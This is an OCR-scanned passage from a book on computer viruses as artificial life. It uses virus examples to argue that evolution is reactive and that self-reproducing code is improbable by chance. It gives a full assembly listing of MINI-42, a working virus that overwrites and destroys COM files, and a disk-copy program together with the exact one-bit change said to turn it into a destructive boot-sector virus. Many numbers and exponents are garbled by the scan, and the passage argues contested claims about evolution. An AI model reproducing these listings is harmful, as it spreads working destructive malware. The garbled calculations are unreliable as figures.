that it has defied analysis.

Plainly, in the world of artificial life, we can see that micro-
mutations with natural selection are not always the most likely
route to a new gene. Sometimes a macro-mutation is a lot cheaper,
probability-wise. To see this, let’s go back to our SCAN-Slip virus.
As you will recall, it had a chromosome that was 256 bytes long.
Now suppose that the fitness function imposed by SCAN had two
separate disconnected regions where the virus was free to live. 2’ If
SCAN doesn’t fit this prescription, I guarantee you I could write a

@,

Figure 21.6: Separated regions of viability in gene
space.
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scanner that did. (See Figure 21.6) A population in Region A could
not easily migrate to Region B without a macro-mutation because
any individuals caught in between those regions would be instantly
killed. Thus, if we had a population in region A at time T and then
a population in both regions at time T; and T, we could say for
certain that micro-mutations did not originate the B population.

To model the real world a little more closely, we could make
killing individuals a statistical process, rather than a matter of
certainty. Suppose that every virus which is not in the safe regions
has a 2/3 chance of being killed before reproducing again. Also
suppose that, at closest approach, region A and B are 20 mutations
apart, and we have an average of one mutation per chromosome per
replication. If every mutation is in the right direction,?* then it will
take 20 steps to mutate from Region A to Region B. The probability
of a virus doing that and surviving is P;=32°. In comparison, a
macro-mutation would have a probability of

P, = (Area of Region B)/(Area of total gene space) 217.1

for falling into Region B. If both region A and B occupy 1/1000th
of the total gene space, and they are of equal size, then P,=5x10
and P1=3x10"'°. So macro-mutations would be a more efficient way
to get from Region A to Region B! The reason is simple: the fitness
function has humps at A and B, and a great valley in between them,
which is hard to get across. That does not, of course, mean that
macro-mutations will be the way a virus negotiates this problem.
It must have a mechanism to mutate that way to begin with. Note,
however, that our DGME did have that facility. We might also note
that large mutations are not unknown in the real world. For exam-
ple, Down’s Syndrome is the result of a whole extra chromosome,
and that’s a huge change.?® And it’s a fairly common occurrence
when an older woman has a child.

23 If Scan doesn’t fit this prescription, I guarantee you I could write a scanner that
did.

24 In general they won’t be. Typically, to get a more accurate (and less favorable)
answer, you need something like a Feynman path integral.
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So what passes for sensible in the real-world is simply false for
our viruses. The only reason the evolutionist’s gambit can pass for
sensible is because, in the real world, the fitness functions are
clouded in mystery. Of course we can imagine some fitness func-
tion to do the job when we have no knowledge of how an evolving
system really works. But when we can do a real experiment, where
all the inputs are known, Dawkins’ logic drops dead.

The likelihood that a macro-mutation will be successful drops
off very fast when there is a great deal of information involved in
building a self-reproducing system, and the fitness function con-
sists of very small regions of viability and large regions of impos-
sibility. Then the probability of hitting a viable region at random
goes to zero very quickly. The problem with that is, the same thing
can work to prevent micro-mutations from being successful. If the
fitness function looks like Figure 20.10—islands of viability in an
ocean of impossibility—then micro-mutations buy us nothing. On
the other hand, if it looks more like the imprint of a tree in an ocean
of impossibility, then micro-mutations make sense. Only a detailed
analysis of a system will tell you what will work better. And right
now that is impossible for the real world. It’s just too complicated.

Creative or Reactive?

So far, our discussion has centered on details like the shape of
the fitness function, or the mutation rate. However, we have seen
that evolution is merely reactive in some situations, and it may be
purely reactive quite generally. In such situations, it would also
seem that Dawkins’ gambit falls apart. If the information content
in an evolved self-reproducing automaton is no greater than what
it started with plus what was injected into it, then it would appear
that nothing could be gained with evolution.

Just as the information SCAN-Slip picks up in learning to
evade SCAN already exists in the SCAN program in the form of
an algorithm designed to catch the TPE, we might wonder whether
any evolution in the real world is the result of information supplied

25 Specifically, the 21st chromosome. Op. Cit., Gould, pp. 160-168.
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by environment and physics. When we analyze information, it’s
obvious there is a lot hidden in SCAN. We cannot simply close our
eyes to that in a proper analysis. And we shouldn’t close our eyes
to it in the real world either.

Aswe’ve already discussed above, things like breeding experi-
ments might suggest that a high degree of information must be
injected into a system to just get it moving in the right direction.
Certainly, some known real-world evolutionary scenarios, like
evolution of peppered moths in England,? can be so analyzed. A
simplified?’ analysis of the selection process is straightforward—
we may visualize it as a single bit of external information deter-
mining whether Gene A or Gene B prospers. Both genes exist in
an initial population,?® and one codes for light colored moths, the
other for dark moths. When light trees are colored dark by industrial
pollution, it injects information into the self-reproducing system,
because the moths sit on these trees, and birds eat the moths when
they see them. So the population follows the injected information,
and they go from predominantly light to predominantly dark. The
pollution is cleaned up, and your bit is flipped again, so the
population goes back to light colored moths. (See Figure 21.7.)

Yet, if evolution is just reactive, can it still be the “best theory
available” —e.g. the most probable? It would seem not. The “mir-
acle” of any self-reproducing automaton is its information content.
When people look at life and say evolution is improbable because
of the eye, or what not, they are—at bottom—Ilooking at informa-
tion. If life were as simple as mixing a few chemicals together and

26 H. B. D. Ketterwell, “Darwin’s Missing Evidence” L. F. Laporte, Ed.,
Evolution and the Fossil Record (W. H. Freeman, San Fransisco:1978) pp.
28-33. Or see the Scientific American, March, 1959.

27 The simplification is simply that there are probably a number of different genes
and fitness factors involved in the real world. The information being injected
into the system changes the combination of these genes rather than just one.

28 Note that the origin of these genes is an entirely different matter. Although
Ketterwell speaks as if the genes mutated into existence in part of his article,
he acknowledge that they had already existed for thousands of years in another
part, perhaps evolving as part of a much more complex set of conditions.
Certainly, one would expect a much greater information input in order to
actually bring such genes into existence if evolution is reactive.
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shooting a spark through them, then their information content
would not be a significant factor. If the eye was just a blob of jelly
and not a complex structure, information would not be a problem.
In reality information is a very big part of life. Creating that
information—that high degree of meaningful specificity—is the
miracle. Random guessing, e.g. saltation, cannot find the answer
fast enough for us to suppose that such processes involve anything
less than divine intervention or wondrous chance. In this, Dawkins
is quite correct. However, if evolution is reactive, then the only
thing evolution does is push our information-miracle back into the
physics and the environment. Equation 20.7 would suggest that
evolution buys you nothing in explaining the miracle. All it does is
hide the miracle so you don’t have to face it immediately. In fact,
it would seem that in such a case, evolution may require a greater
miracle. Notice the inequality in Equation 20.7. In essence, the
physics and environment always couple to the self-reproducing
system imperfectly, so some information may be lost in the process
of evolution.

You might think about the situation like this: Given a brick, it
has a certain potential energy due to gravity, depending on its height
above the earth. That brick will have the same amount of potential
energy at a given height no matter how you get it to that height.
Y ou could simply lift the brick off the ground. You could take small
clots of clay and lift them individually, and then bake them together
to form the brick. You could drop it from a higher spot. Any way
you go about it, the end result is the same. However, the more direct
ways are the best, if you want to avoid expending energy yourself.
To lift the brick higher than necessary and drop it is certainly
possible, but it is wasteful because you turn more chemical energy
in your body to heat.

In the same way, if the information content in a self-reproduc-
ing automaton is somehow required to “come from somewhere”
then it would seem the most efficient method may not be micro-
mutation plus selection when everything is brought into the equa-
tion.

Of course, we cannot bring everything into the equation in the
real world right now. But that does not mean we cannot analyze the
real world with this idea in mind. For one, it would appear Darwin’s
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hypothesis requires either (a) a creative evolution or (b) a world
carefully contrived to inject the right information into the ecosys-
tem. Otherwise, it seems rather difficult for 10° nucleotides of
meaningful information to become 10°. Of course, choice (b) goes
against the very spirit of evolutionary science, and would probably
require a greater miracle than outright creation.?’ Thus, it would
appear that Darwin’s hypothesis would require a creative evolution
to have any hope at all. Of course, appearances can be deceiving,
especially when discussing this topic, so I am not ready to tie the
connection between creative evolution and Darwin too tightly.

What I can say is that, examined through the eyes of a skeptic,
one could come to the conclusion that, based on the evidence we
have today, even real-world evolution appears to be only reactive,
and it fails to explain the complexity and diversity of life as we
know it. All of the objections to evolution cited above, when put
together, really seem to favor a reactive evolution that parallels
what we found operating among viruses. In the eyes of a skeptic.
What I am adding to this discussion is simply this: Defining just
what “reactive” evolution is using only the real world has not been
possible. When we go to a completely definable world such as we
can construct in AL, though, we can begin to figure out a way to
mathematically formulate this idea. And though a reactive evolu-
tion may not falsify Darwin’s hypothesis, it would sure seem to put
it on par with other, more blatantly theological propositions.

The Mystery of Mysteries

If evolution is reactive, and Darwin’s hypothesis is deeply
imbued with philosophy and miracle, then the great mystery is,
where did all the variety of life on earth come from? There would
seem to be no “logical”’—e.g. scientifically probable—choice
available. The only way to distinguish between, say, Darwinism
and some form of creationism or vitalism would be on the basis of

29 Certainly the environment will couple a little bit of information into the system
by accident, but not nearly enough. It would be more like the 1 bit required by
the peppered moth, than the 10° or so needed.
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one’s personal preferences about where and when the informational
miracle occurred, not whether it occurred. As such, science as we
know it would have to stop short of answering this question. We
have to step into the realm of philosophy and theology then. This
may be extremely disconcerting to the die-hard scientist, but then
I never promised any easy answers with this book. I’1l discuss this
matter more in a little while, but first we need to go take a look at
another piece of our puzzle, the beginning of life.



In the Beginning . . .

Now that we have discussed evolution a little, let’s return to
the question of the beginning of life in our world of bits and bytes.
The idea of beginnings can only be explored once we have a basic
understanding of evolution.

In our world, it is commonly imagined that life began as the
culmination of a series of increasingly complex chemical reac-
tions—so-called “chemical evolution” —which finally produced a
molecule capable of self-reproduction. From there, this self-repro-
ducing molecule evolved into all the many and varied forms of life
on earth today. After looking at the evolution of viruses, though,
this common conception may seem a bit simplistic.

We’ve seen that evolution—although very real and sometimes
very effective—is not a magical, omnipotent force. Rather, it is a
process of limited, predictable capability. With this limited capa-
bility in mind, it should be clear that merely figuring out how a
simple self-reproducing automaton could come into existence is
not enough to solve the question of beginnings. If that automaton
cannot evolve into increasingly complex forms, then it may be
“alive”, but it is a dead end. It is a unique phenomenon, and not
the seed of all life in its world, and the origins researcher has not
solved the origins question. Thus, we cannot answer the question
of beginnings without understanding evolution.

Let’s consider two extremes, strong evolution and weak evo-
lution: In a world where evolution is very strong and powerful’, a
simple self-reproducing automaton might be constructed which
would evolve into many different varieties of self-reproducing
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automata given enough time. In this world, the question of begin-
nings might revolve around the construction of that original
automaton which got things going.

In a world where evolution is weak and inefficient at causing
major variations, the question of beginnings looks very different.
If you have a wide variety of automata that don’t appear to have
evolved from one another, you do not have one “beginnings”
question, but many. Where did this one come from? Where did that
one come from? Which, if any, evolved into different forms?

Clearly, the computer virus phenomenon as we observe it today
points to a weak evolution that could not possibly have given rise
to all the many varieties we know about. Furthermore, we generally
believe that most of these viruses were written by people, and were
not somehow spontaneously generated. Yet, as scientists, we can-
not be content with the common belief that viruses cannot be
spontaneously generated. We ought to make some sort of scientific
statement about the subject.

Abiogenesis by Random Processes

Generally, scientists imagine that the smaller and simpler an
organism is, the better the chances that it might be spontaneously
generated. In ancient times, it was supposed that many forms of life
could be spontaneously generated without a lot of trouble. For
example, worms might be derived from a piece of meat. By the
mid-nineteenth century, the question had been pushed to the mi-
crobial level. Later still, it was pushed to the sub-cellular and
chemical level.

Is there any sense in seeking spontaneous generation in the
simplest possible self-reproducing construct, or is this trend merely
the result of experiment gradually containing the idea in a smaller
and smaller box? I think both sides could be effectively argued.
Let’s analyze some self-reproducing computer code to see why:

1 Whether as a result of creative evolution or the proper information content in
the physics.
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We’ll start by looking at four different pieces of self- reproduc-
ing code, and try to get an idea of what it would take to create them
by generating files of the appropriate size at random. The first piece
of code is the TIMID virus from The Little Black Book of Computer
Viruses. It is a small but effective virus that can infect COM files
in a given directory. It contains 299 bytes, or 2392 bits, of informa-
tion. The second is a virus called COMPANION-101, which was
developed for the First International Virus Writing Contest. At 101
bytes, COMPANION-101 makes a fair claim to being the smallest
virus possible with the level of functionality specified by the
contest. (See Appendix C for more about this contest, and a full
listing of the virus.) The third piece of code is one of the smallest
viruses known—if you want to call it a virus—called the MINI-42.
This is a nasty 42 byte program that overwrites all the COM files
in a directory (and destroys them). The fourth and final piece of
code is not a virus, but a program that replicates in memory. It is
given by the instructions

mov si, 106
mov di, 107
movsb

and is seven bytes long. I'll call it PICO-7.

Now suppose we were to write a program RFGEN that would
do nothing but sit around and generate (truly) random files that were
any specified length. What would it take for this program to create
each of the four self-reproducing automata above? The calculations
are fairly straight-forward. Let’s take the COMPANION-101, for
example. There are 25691 =2808 = 10?3 different possible files that
are exactly 101 bytes long. That means, in general, there isa 1 in
10> chance of RFGEN coming up with COMPANION-101 on
any given try.

Now, let’s consider two different scenarios for creating these
automata, which I’1l label Scenario A and Scenario B.

Scenario A is something that could be done if we could get all
the PC users in the world to dedicate their machines to research.
There are about 100 million PC’s in the world. Suppose we could
set them all up with RFGEN, and that it could crank out about 1000
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files per second. PC’s have been around for about 13 years, so let’s
say all these machines were set to work doing this ten years ago.
What would be the likelihood of coming up with any of these files?
Here are the answers:

Scenario A

Automaton RFGEN Creation Probability

Figure 21.1: The MINI-42 Virus Listing

;42 byte virus, overwrites all the COM files in the current
;directory with itself.

.model small

.code
FNAME EQU 9EH ;search-function file name
ORG 100H
START:
mov ah, 4EH ;search for first *.COM
mov dx,OFFSET COM FILE
int 21H
SEARCH_LP:
mov ax,3D01H ;open file we found
mov dx, FNAME
int 21H
xchg ax,bx ;write virus to file
mov ah, 40H
mov cl,42 ;size of this virus
mov dx, 100H ;location of this virus
int 21H
mov ah, 3EH
int 21H ;close file
mov ah, 4FH
int 21H ;search for next file
jnb SEARCH_LP
retn ;exit to DOS
COM_FILE DB r* COM’,0 ;string for COM file search

END START
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TIMID-299 3% 1070
COMPANION-101 2 x 1072
MINI-42 4x108!
PICO-7 1

Clearly, the only automaton with a shred of possibility is PICO-7.
Even with that, using a large number of machines is absolutely
mandatory. If we were to stage the same scenario with only one
machine, the chances of generating even PICO-7 would be an
unlikely 4 x 10" (e.g. 4 in a million)!

Some of these numbers are so huge that they’re really hard to
contemplate. Just to give you an idea of how big this problem is,
let’s consider Scenario B, in which we take every elementary
particle in the universe (say 10°° of them as a rather large upper
limit) and turn it into a computer. Suppose, further, that these
computers are so fantastically powerful that when RFGEN is run
on them, it can generate a random file once every 10"%° seconds,
which is about how long it takes light to travel a distance equal to
the diameter of a proton. Finally, suppose each of these computers
had been working from the time of the big bang until now (about
10'8 seconds). Here are the results we get:

Scenario B
Automaton RFGEN Creation Probability
TIMID-299 1 x 107386
COMPANION-101 6 x 107110
MINI-42 1
PICO-7 1

Although this dream-land scenario has brought MINI-42 into the
realm of possibility, the others are still absurdly unlikely. To bring
TIMID into the realm of possibility, you’d have to expand every
elementary particle in the universe into a new universe, make
computers of all the elementary particles in each new universe, and
repeat that process three more times!?

The bottom line of all of this is that size is extremely important
in any attempt to create a self-reproducing automaton by random
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processes. However, size is not the only consideration. Just because
PICO-7 might be within reach does not mean it is the obvious
archetypal self-reproducing automaton which must have sub-
sequently evolved into the first virus, and then into all known
viruses. We will discuss objections to this in a moment.

Directed Abiogenesis

As we have already discussed in the realm of evolution, and
again here, a random search is an inefficient way to find the answer
to any problem. If we can direct the random process, of course,
everything changes. This “direction” cannot be by means of Dar-
winian selection now, though, because we’re trying to build a first
self-reproducing automaton. Darwinian selection only works after
you have self-reproduction working. Yet it is not hard to design
(there’s that blasted word again) a selection mechanism to do what
we want.

To illustrate, I wrote a program GENFILE (on the Program
Disk) which takes any virus (or any file you like) as a template.
Then it generates a random array of bytes the same length. It
compares these bytes to the template and keeps those that match.
The bytes that don’t match are randomized again, and the match-
and-keep process is repeated until every byte in the array matches
the template exactly. Typically this program can re-create COM-
PANION-101 in an average of 1300 generations. This process can
typically be performed in a couple seconds on a PC. This is a far
cry from numbers like 10°% years which non-directed random
processes required!

Of course, this directed process assumes the answer in advance.
(A sort of vitalism.) Even though it uses a random number gener-
ator, it does little more than allow you to pick what bytes you want

2 Note that we can improve these numbers a /ittle bit by taking into account all
possible variations of these viruses. For example, COMPANION-101 could be
written in a variety of ways, for example with some push/pop sequences
reversed. That is not, however, likely to give you more than a factor of 10°.
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where by answering yes/no questions. In this way, you are carefully
injecting intelligence into the system.

Given an N byte virus which is generated byte-by-byte, the
random number generator has a %256 chance of selecting any given
byte correctly. The chance of getting at least one of the N bytes
right is thus

P=1-(1-Yas6)N 22.1

For a 101 byte virus, P=0.327—a fairly likely event.

The finer a selection process [ impose on the proposed solution,
the more quickly it converges to the desired result. For example, if
I require bit-wise matches instead of byte-wise matches, then the
random number generator will get 50% right on the first try, and
50% more on the next try. It can then converge to a solution in about
10 generations for a 101 byte virus instead of 1300 generations. Or
we could make the selection coarser by requiring word-wise
matches, thereby pushing the selection process out over 200,000
generations. Random processes are well able to bridge gaps at the
bit, byte and even word level in a reasonable amount of time, so
my GENFILE’s selection process works. Going up to DWORDs
or QWORDs, though, makes GENFILE’s task impossible on a real
computer.

As we have already seen with evolution, all the real science lies
in finding a reasonable selection process. Certainly we can impose
a selection process, and that process will be successful if it suffi-
ciently reflects what a virus looks like. You just have to make sure
that the gaps which must be jumped by random processes are
jumpable. Such an intelligent process has nothing to do with the
science of beginnings, though. Designing the beginning into a
selection process is obviously cheating. For example, the COM-
PANION-101 virus has to exist already before GENFILE can
create it. However, you don’t necessarily have to write the virus
beforehand. You just have to know enough about what a virus looks
like. For example, there are a number of heuristics-based virus
scanners on the market today. They don’t scan for specific viruses.
They just examine files and decide if they look like a virus based
on known properties of viruses. You could conceivably write a
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virus creation lab which used these heuristic scanners to generate
viruses. Just create a bunch of random files and let the scanners
vote on them. Take the best of the bunch, and create random
variations of those, and allow another vote. Keep going until all of
your scanners agree that you certainly have a virus. Perhaps you
really will have one then! Yet, even in this situation, the heuristic
scanner was designed by someone who knew a lot about what
viruses look like.?

I say all of this because there seems to be a great deal of
confusion about such selection processes in the public eye. The idea
of “chemical evolution” is not evolution at all, but a non-Darwinian
“selection” process. That selection process must ultimately be pure
chemistry. Obviously we can synthesize the chemicals of life in a
laboratory. We could go step-by-step through a process that first
builds monomers, and then more and more complex polymers, and
then perhaps puts all the polymers together just right. It is a real
stretch to call this process “natural selection” of any sort, though.
The selection process in such a case is chemistry plus intelligence.
That has nothing to do with the beginning of life on earth, though,
because the selection is intelligently controlled and directed. A
scientist has a desired result in mind and he works to obtain it, just
like the GENFILE program. The real question for the beginning of
life is whether chemistry alone—without intelligent input—can do
the job. The real science lies in finding a reasonable selection
process.

Thus, the important question in directed abiogenesis is not
whether we can impose a selection process, but whether there might
be some reasonable process at work “in the wild.” If we impose a
process, we’re just playing the creator. However, if we find a
process at work quite apart from our intentions, we can certainly
consider it’s potential for helping abiogenesis. That applies to the
real world, and it applies to computer viruses.

3 Actually I think heuristic scanners will have to get a lot smarter before this
scheme will work.
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Now obviously, in the real world there are “preferred” combi-
nations of chemical elements. For example, Hydrogen and Oxygen
prefer to combine into water, H>O. This reaction is driven by
energy. When two Hydrogens combine with one Oxygen, a lot of
energy is released. To get them apart, you have to put a lot of energy
back in. Thus, it is not surprising that most of the Hydrogen on earth
is found in combination with Oxygen. If there were some similar
phenomenon in our computer’s memory that would tend to arrange
bytes in certain orders or to set memory locations to certain values,
it might either work to enable abiogenesis or inhibit it, depending
on what those preferred configurations were. However, the whole
idea behind an information storage medium is to avoid such phe-
nomena! When we design computer memory, we want to make it
just as easy to store one configuration as the next. As such, there
are ideally* no purely “natural” selection processes like this at
work to cause the equivalent of complex chemicals to form.> If
there were any such processes, they would inhibit our computer
from being a computer in the first place. For example, any process
which measurably aligned magnetic domains on a hard disk in a
way favorable to abiogenesis would also measurably destroy other
data on the disk! Therefore “directed” abiogenesis does not appear
to be a reasonable alternative—at least not if directed by purely
“natural” processes.

Bootstrapped Abiogenesis

However, we cannot say that just any combination of bytes on
a computer disk is as likely as any other. Most computers are filled
with program code that has been intelligently designed for a variety
of purposes. We have to wonder: if some of this code was just

4 Although there is a slightly lower energy associated to specific arrangements
of magnetic domains (which store data) on a hard disk, that energy difference,
and any preference it would cause, is negligible. In fact, it is specifically
designed to be negligible, so that the hard disk will be reliable. Even such a
preference does nothing for abiogenesis, because it is far too trivial.

5 Obviously that changes when we have self-reproducing code, because
Darwinian selection can then kick in.
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similar enough to a computer virus, could a small mutation turn an
otherwise ordinary program into a virus? or cause it to release a
virus? Certainly ordinary computer programs perform all the same
logical functions that viruses do—they search for files, open and
close them, and write to them.

A virus generated in this manner need not necessarily be small.
It could be the result of the interaction of hundreds of kilobytes of
code when a single small mutation occurs.

Let’s look at two different perspectives: (1) Could some of the
small viruses we’ve been discussing be bootstrapped? And (2)
could some common non-viral program be bootstrapped into be-
coming viral?

To test the first possibility, [ wrote a program PATTERN that
can load up a small virus and then scan a whole disk for any matches
of viral code that are two or more bytes in length. Running this
program on an ordinary 212 megabyte disk (which didn’t have any
other viruses on it) gave the following results, which are compared
with the number of matches expected if that 212 megabytes was
purely random data:

Disk Random
Match Size Matches Matches
2 bytes 467,561 342,592
3 13,211 1338
4 2,159 5
5 724 0
6 676
7 14
8 0
9 2
10 5

In other words, even though we do much better than random data,
there is generally very little long range order in programs, and it’s
practically impossible to find two chunks of code that are very
similar on the order of 20 bytes long. The only way to make up the
difference would be to append random code, or assemble these
chunks of matching code all together in one place. Since none of
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the matches are very large, appending random code still gives us
all the problems associated with random abiogenesis. And there is
no mechanism to assemble the matching code in one place. There-
fore this bootstrapping technique seems to be a dead end.

Perhaps a more likely source of spontaneously generated vi-
ruses would be programs written to perform functions similar to
viruses which are modified by a random mutation to actually
behave like a virus and start reproducing. It is not hard to turn DOS
itself into a sort of a virus. Suppose you have a boot disk with the
SYS program on it. All you have to do to make a rudimentary virus
is put the command “sys ¢:” into the AUTOEXEC.BAT file—and
that’s only 6 bytes, smaller than PICO-7. Now when you boot this
disk, it will copy the system files to the hard disk. Thus, it looks
kind of like an overwriting boot sector virus, perhaps not so very
different from the KILROY virus discussed in Volume I.

Of course, 6 bytes is a lot to be had by accident, as we already
know. The chances of getting them right are a measly 1 in
256%=10'*. Thus, we have to look for a much more likely accident,
perhaps involving only one or two bits.

I wrote just such a program, to see if it could be done. This
program is called COPIER. It is just a simple program to do a
low-level disk copy of a 360K diskette from disk drive A to drive
B, and it is 61 bytes long. COPIER is a perfectly legitimate
program, with a legitimate purpose—to copy disks. Chances are
you won’t use it because it doesn’t have all the fancy bells and
whistles that something like DISKCOPY does, but you could use
it. Just put a source diskette in drive A, a destination diskette in
drive B, and run the program.

The interesting thing about COPIER is that a simple one-bit
mutation will turn it into a nasty boot sector virus. Suppose you had
a copy of COPIER in which the second instruction

add cx,0200H (81 C3 00 02)

had been modified to
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;The COPIER disk-copying program. This program copies a 360K floppy
;disk in drive A to drive B. Just insert disks in both drives and
;run it.

.model small

.code
ORG 100H
START:
call START2
START2: pop si ;get starting address
sub si,3
mov cx, 1 ;set initial trk and sec
mov dh, 0 ;set initial head
COPY_LOOP:
mov ax,0209H ;prepare to read 9 sectors
mov bx,si
add bx,200H ;buffer for read
mov dl, 0 ;set drive A
int 13H ;read it into buffer
jc COPY_LOOP ;retry on error
mov ax,0309H ;prepare to write sectors
mov bx,si ;buffer for write
add bx,200H
mov dl,1 ;set drive B
int 13H ;write the data
inc dh ;next head on disk
cmp dh, 2 ;last one?
jne COPY_LOOP ;nope, go copy next head
mov dh, 0 ;yes, set head=0
inc ch ;and go to next track
cmp ch, 40 ;last one?
jne COPY_LOOP ;nope, go copy it
;else fall through
mov ax,4C00H ;terminate the program
int 21H ;and exit to DOS
END START
Figure 21.2: The COPIER program.
add cx,0000 (81 C3 00 00)

Suddenly, the COPIER program copies itself to the first sector of
every track on the destination disk, instead of the first sector of the
source disk! And since COPIER will put a copy of itself in Track
0, Head 0, Sector 1, it will execute when you boot from the disk
you just made. When it executes, what will it do? It will copy the
disk in drive A to drive B, putting itself in the boot sector again
(and then it will hang the system). Thus, it is replicating, and it is
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therefore a virus—a nasty virus that ruins everything it touches to
be sure—but still a virus. And it made that transition simply by
changing one bit (the byte 02 became a 00 in the above instruction)
in the entire program. It is also a fairly small virus as far as
boot-sector viruses go, being only 61 bytes long.

Obviously any viruses generated in this manner ought to retain
the traits of their past “life” as a useful computer program. We
know that evolution hasn’t had enough time to erase such traits.
Certainly I know of no such viruses in the wild. Yet having
examined a contrived example, it is at least conceivable that such
a program could be written by accident and mutated by accident
into a virus. Nothing else we’ve examined so far could match that
claim. Yet, if this were to happen, we should be able to spot it right
away.

Finally, such a virus could hardly be called a product of nature
when most of it had been intelligently designed! It is mostly the
product of human intelligence, with just a touch of accident thrown
in.

Dead Ends

We have seen that random processes inside a real computer are
insufficient to create even a very small workable virus. Even if we
help them along considerably by running programs that generate
random files, etc., we are usually talking about a very unlikely
event. The only real chance of getting viruses going apart from
intelligent design is the bootstrap process I’ve just described. Yet
suppose this process is capable of abiogenesis. Suppose it does
create a virus. What then?

Will these viruses go off and start evolving into bigger and
better viruses? Maybe not. It would seem that many of the viruses
we’ve been looking at in this chapter are evolutionary dead ends.
For example, PICO-7 has a slim, slim chance of being popped into
being by random processes. If it were, though, we have to ask, how
could it evolve into something more robust? Must it be the arche-
type of all viruses, or is it simply an isolated peculiarity?

There are a number of objections to calling PICO-7 the arche-
type of all viruses:
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1. The probability that PICO-7 would come into existence using
any reasonable model of spontaneous generation is very small.
Even on a machine trying to generate it, it would take 1.2 million
years. In a real computing environment, it would take a lot
longer.

2. Since the program exists only in RAM, it is extremely transitory.
Once the computer is turned off, it’s gone. Since the program
never returns control to the operating system, it pretty much
guarantees its own demise. Such behavior assures a quick shut-
down of the machine. Even the most interested researcher will
get bored after one minute. As such, the length of time that
PICO-7 is in memory will be minimal. With a small mutation
rate, the chances that PICO-7 will ever have the opportunity to
mutate will be minuscule.

3. Since PICO-7 is a memory-only program, even if it mutates, the
mutation will probably not be able to save itself anywhere and
propagate. Thus, the mutation will dead-end in the memory of
the machine on which it was created. Thus there is no opportunity
for evolution to kick in.

4. There appear to be no realistic evolutionary pathways to more
complex forms of the automaton.

We see a situation where PICO-7 is unlikely to get a chance to
mutate, and even if it did, the mutation would apparently go
nowhere. The nice thing about using a virus here is that we can look
into these statements in detail and put numbers on them.

The only way for the program to mutate would be for the A4
Hex, which is the movsb instruction, to be changed into something
else when it copies itself. There are only 256 possibilities for what
it might be changed into, so we can go through each one and see
what the result of each mutation would be.

First, though, we should define what a fatal mutation is: We
call amutation fatal if it does not change the reproducing instruction
into a new instruction which also reproduces. Although there are
many instructions that will not crash the system (e.g. nop, 90 Hex),
the only mutation that will even possibly keep the replication going
in the next instruction is the byte AA Hex, which corresponds to
stosb. That will replicate only if al happens to be AA Hex also. The
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only thing this new variation can mutate easily into is its ancestor,
A4 Hex. At this level, the simplest replicator is a dead end.

One might suggest that if the segment the replicator is execut-
ing in is filled with random bytes, then possibly a mutation in
combination with some of these random bytes could produce a
multi-byte replicator. However, a detailed analysis of such scenar-
ios can prove they are irrelevant. To do that, let’s consider an
eight-byte replicator that can be set up like this:

mov si, 106
mov di,108
movsw

inc bx

Call this PICO-8. Note that the inc bx instruction is not particularly

relevant. Any instruction that does not upset the replication will do.
Now, let us ask how PICO-7 could mutate into PICO-8. The

transition would have to look something like this in memory:

movsb A4 ;original

movsb A4

inc di 47 ;transition
movsw A5 ;new replicator
inc bx 43

movsw A5

inc bx 43

So A4 must mutate into 47 at a place where the bytes A5 43 follow
the 47. If the bytes in the segment are random, and the mutation is
random, then the possibility of this happening is on the order of

325672 per replication, where | is the single-bit mutation rate per
replication.®

6 Five bits must be mutated, which gives us the factor ps, and we have a 1 in
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Now let’s come up with an upper limit for |.. We’ve already
discussed mutations in connection with the fact of evolution, and
we’ve seen that they can arise from a number of sources. Suppose,
however, that we’re working on a computer that can load and
execute a 100 kilobyte program 9 out of 10 times without allowing
a one-bit mutation. Such a machine stands a good chance of being
used. In order for this to be possible, one memory write, at least
one memory read, and memory storage for at least a few seconds
must be possible. For such operations to occur successfully 9 out
of 10 times, we require [1<1077.

Now, once PICO-7 is running, it will execute 65,536 times, and
then the whole segment is filled with A4’s, and we cannot use the
possibility of random bytes in memory to create PICO-8 anymore.
Thus, we have about 65,536 chances of creating a mutation, as
PICO-7 reads a byte, and writes it each time it executes. We need
a 5-bit mutation to transform A4 into 47. The chance of getting this
mutation before PICO-7 fills memory with A4’s is thus

65,536 x 11° = 6.6 x 107!

That is another ridiculously small number. What it tells us is that
evolution is not a viable gateway between PICO-7 and PICO-8. To
see this, let’s suppose we had one machine running RFGEN trying
to create PICO-7, and then evolve it into PICO-8 by running
PICO-7 100 times per second, and another machine running
RFGEN trying to create PICO-8 directly. How long will it take
before there is a fifty percent chance of creating PICO-8, by either
gateway?

The first machine must create PICO-7 first. That will take about
1.2 million years on a single machine. Next, it must evolve PICO-7
into PICO-8. Because of the small probability of that happening, it
will take 7.2 x 10'? years. That far outweighs the 1.2 million years
required to create PICO-7.

2567 chance of having the right two bytes in place after the mutation.
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The second machine must simply create PICO-8. A calculation
shows that will take about 180 million years on a single machine.
While that’s a lot longer than what’s needed to create PICO-7, it is
still much less than the 10'° years needed to evolve PICO-8 from
PICO-7. Thus we can conclude that evolution is not a viable way
to bring PICO-8 into the world. It is much worse than random
guessing. Thus, if you found copies of PICO-7 and PICO-8 in the
wild, you would be better off saying they are separate creations than
saying one evolved from the other.

The barrier to evolution from PICO-7 to PICO-8 is largely due
to the small amount of time that PICO-7 spends in memory, and
the fact that PICO-7 lives only in memory. Thus, we cannot get
enough copies of PICO-7 replicating at once, even in our very
favorable model, to make it reasonable to multiply the very small
factor [1°25672 by a number big enough to make the result big. That
is the first barrier to evolution. Darwinian evolution does us no
good unless the population is large enough to overcome the small
mutation rates. Since PICO-7 can’t realistically do that, it could not
logically be an archetypal virus. It’s easier to just use random
processes to make something a little bigger than it.

Probably, COMPANION-101 is the smallest virus that stands
areasonable chance of building a large population in even the most
favorable circumstances (e.g., where everybody ignored it). All of
the smaller viruses are real nuisances. They destroy programs, or
hang your computer, so people will not ignore them. At best they
will test them once and put them away. At worst, they will obliterate
them. So their population will always be very small.

COMPANION-101 is also probably very near the minimum
size for a virus with its functionality too. That was the whole point
of the First International Virus Writing Contest. Now, some genius
programmer might figure out how to make the same thing work in
97 bytes, but nobody will ever get it to work in 70 bytes. The contest
showed that there is a minimum level of functionality you run up
against. After a point, you can only cut the size at the expense of
functionality.

Thus we are pretty much looking at the possibility that evolu-
tion cannot realistically kick in for computer viruses that are less
than about 100 bytes long. Simply put, they will never get a chance
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to reproduce enough to build the large population necessary for
evolution.

Getting evolution to kick in requires more than just a large
population, though. It also requires a favorable fitness function. If
a virus is trapped in a region of space where any mutation would
be unfavorable, then it will not evolve without a macro-mutation
to get it out of'its trap. Likewise, if a virus had to perform a random
search of'its gene space because the fitness function was at best flat
where it was, evolution could be completely ineffective at causing
any real change. The random search’s inefficiency can easily dwarf
